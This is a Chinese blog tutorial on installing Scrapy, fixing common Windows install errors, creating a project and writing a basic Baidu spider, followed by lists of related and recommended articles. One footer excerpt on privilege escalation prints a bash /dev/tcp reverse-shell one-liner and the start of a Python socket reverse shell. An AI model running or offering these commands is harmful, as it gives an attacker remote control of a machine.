简要:


scrapy的安装

# 1)pip install scrapy -i https://pypi.douban.com/simple(国内源)

一步到位

# 2) 报错1: building 'twisted.test.raiser' extension
  # error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++
  # Build Tools": http://landinghub.visualstudio.com/visual-cpp-build-tools
# 解决1
  # http://www.lfd.uci.edu/~gohlke/pythonlibs/#twisted
  # Twisted‑20.3.0‑cp37‑cp37m‑win_amd64.whl
  # cp是你的python版本
  # amd是你的操作系统的版本

  # 下载完成之后 使用pip install twisted的路径 安装

  # 切记安装完twisted 再次安装scrapy

  pip install scrapy -i https://pypi.douban.com/simple

# 3) 报错2:提示python -m pip install --upgrade pip
  # 解决2 运行python -m pip install --upgrade pip

# 4) 报错3 win32的错误
  # 解决3 pip install pypiwin32

# 5)使用 anaconda

scrapy创建项目

  cmd 到项目文件夹中

  或者直接拖入

如果返回没有权限,使用管理员运行cmd

1.创建scrapy项目:
  终端输入 scrapy startproject 项目名称

scrapy startproject scrapy_baidu

scrapy_baidu\下的文件夹

2.项目组成:
  spiders 
    __init__.py       
    自定义的爬虫文件.py —>由我们自己创建,是实现爬虫核心功能的文件
  __init__.py
  items.py —>定义数据结构的地方,是一个继承自scrapy.Item的类
  middlewares.py —>中间件 代理
  pipelines.py —>管道文件,里面只有一个类,用于处理下载数据的后续处理
    默认是300优先级,值越小优先级越高(1‐1000)
  settings.py —>配置文件 比如:是否遵守robots协议,User‐Agent定义等
3.创建爬虫文件:
    1)跳转到spiders文件夹 cd 目录名字/目录名字/spiders
    2)scrapy genspider 爬虫名字 网页的域名
  爬虫文件的基本组成:
    继承scrapy.Spider类
      name = 'baidu' —> 运行爬虫文件时使用的名字
      allowed_domains —> 爬虫允许的域名,在爬取的时候,如果不是此域名之下的
  url,会被过滤掉
      start_urls —> 声明了爬虫的起始地址,可以写多个url,一般是一个
      parse(self, response) —> 解析数据的回调函数
        response.text —> 响应的是字符串
        response.body —> 响应的是二进制文件
        response.xpath()—> xpath方法的返回值类型是selector列表
        extract() —> 提取的是selector对象的是data
        extract_first() —> 提取的是selector列表中的第一个数据 
4.运行爬虫文件:scrapy crawl baidu
  scrapy crawl 爬虫名称
  注意:应在spiders文件夹内执行 

settings.py

spiders\baidu.py

import scrapy

class BaiduSpider(scrapy.Spider):
# 爬虫的名字 用于运行爬虫的时候 使用的值
name = 'baidu'
# 允许访问的域名
allowed_domains = ['http://www.baidu.com']
# 起始的url地址 指的是第一次要访问的域名
# start_urls 是在allowed_domains的前面添加一个http://
# 在 allowed_domains的后面添加一个/
start_urls = ['http://www.baidu.com/'] # 是执行了start_urls之后 执行的方法 方法中的response 就是返回的那个对象
# 相当于 response = urllib.request.urlopen()
# response = requests.get()
def parse(self, response):
print('你好世界')

scrapy的安装,scrapy创建项目的更多相关文章

  1. C++框架_之Qt的开始部分_概述_安装_创建项目_快捷键等一系列注意细节

    C++框架_之Qt的开始部分_概述_安装_创建项目_快捷键等一系列注意细节 1.Qt概述 1.1 什么是Qt Qt是一个跨平台的C++图形用户界面应用程序框架.它为应用程序开发者提供建立艺术级图形界面 ...

  2. Django在Win7下安装与创建项目hello word示例

    Django在Win7下的安装及创建项目hello word的例子 有关python 的django 框架安装与开发的小例子.Django在Win7下的安装及创建项目hello word.1.安装:命 ...

  3. mac下配置Node.js开发环境、express安装、创建项目

    mac下配置Node.js开发环境.express安装.创建项目 一.node.js的安装 去官网下载对应的平台版本就可以了,https://nodejs.org 二.express安装 sudo n ...

  4. Webpack指南(一):安装,创建项目,配置文件,开发环境以及问题汇总

    Webpack是一个现代 JavaScript 应用程序的静态模块打包器(module bundler).当 webpack 处理应用程序时,它会递归地构建一个依赖关系图(dependency gra ...

  5. vue-cli 3.0 安装和创建项目流程

    使用前我们先了解下3.0较2.0有哪些区别 一.3.0 新加入了 TypeScript 以及 PWA 的支持二.部分命令发生了变化: 1.下载安装  npm install -g vue@cli 2. ...

  6. vue安装及创建项目的几种方式

    原文地址:https://www.wjcms.net/archives/vue安装及创建项目的几种方式 VUE安装的方式 直接用 script标签 引入 对于制作原型或学习,你可以这样使用最新版本: ...

  7. python爬虫框架—Scrapy安装及创建项目

    linux版本安装 pip3 install scrapy 安装完成 windows版本安装 pip install wheel 下载twisted,网址:http://www.lfd.uci.edu ...

  8. scrapy框架安装及创建

    介绍:大而全的爬虫组件 使用Anaconda conda install -c conda-forge scrapy 一.安装: windows 1.下载 https://www.lfd.uci.ed ...

  9. Maven入门学习,安装及创建项目

    一.maven介绍: 1.maven是一个基于项目对象模型(POM Project Object Model),通过配置文件管理项目的工具(项目管理工具). 2.maven主要功能:发布项目(从编译到 ...

  10. [Scrapy] Mac安装Scrapy

    Mac安装Scrapy Mac版本 10.11 El Captain. 前一段想在Mac上用Scrapy,各种问题.有一个不错的工具:Anaconda. 安装Anaconda 下载地址 我还是下pyt ...

随机推荐

  1. 提权AND反弹OR转发

    bash -i >& /dev/tcp/ip/3333 0>&1 python -c "import os,socket,subprocess;s=socket. ...

  2. Bootstrap的模态框无法弹出的问题

    今天在使用Bootstrap官网所提供的模态框插件时候发现其中的 可选尺寸模态框 无法弹出 在模态框前使用过其他 Bootstrap的js插件,可以正常使用,说明所需依赖js文件已经正常引用 注意:j ...

  3. 2.1 附录--JVM指令手册

    栈和局部变量操作 将常量压入栈的指令 aconst_null 将null对象引用压入栈 iconst_m1 将int类型常量-1压入栈 iconst_0 将int类型常量0压入栈 iconst_1 将 ...

  4. Java字符串的初始化与比较

    Java字符串的初始化与比较 简单的总结:直接赋值而不是使用new关键字给字符串初始化,在编译时就将String对象放进字符串常量池中:使用new关键字初始化字符串时,是在堆栈区存放变量名和内容:字符 ...

  5. 《手把手教你》系列技巧篇(二十五)-java+ selenium自动化测试-FluentWait(详细教程)

    1.简介 其实今天介绍也讲解的也是一种等待的方法,有些童鞋或者小伙伴们会问宏哥,这也是一种等待方法,为什么不在上一篇文章中竹筒倒豆子一股脑的全部说完,反而又在这里单独写了一篇.那是因为这个比较重要,所 ...

  6. Markdown语法熟悉

    ==(1)标题== # 一级标题 ## 二级标题 ### 三级标题 #### 四级标题 ##### 五级标题 ###### 六级标题 ==(2)字体== **加粗** *斜体* ***斜体加粗*** ...

  7. java课堂测试2第一阶段:方法运用

    package test2; import java.util.*; public class Test2 { public static int generateRandom(int fanwei) ...

  8. SSM框架项目的mvc拦截器

    为了防止用户在不登录的情况下通过并接请求直接访问系统,我们需要通过session和拦截器来防止这样的情况. 拦截器的配置: 为拦截器建立一个包:interceptor,并在包里建立 LoginInte ...

  9. Probius+Prometheus通过API集成POD监控

    上一篇文章Probius+Kubernetes任务系统如虎添翼讲了我们把Kubernetes集成进了任务系统Probius,上线后小伙伴反馈虽然摆脱了Kubernetes-Dashboard,但还是得 ...

  10. Convolutional Neural Network-week1编程题(一步步搭建CNN模型)

    Convolutional Neural Networks: Step by Step implement convolutional (CONV) and pooling (POOL) layers ...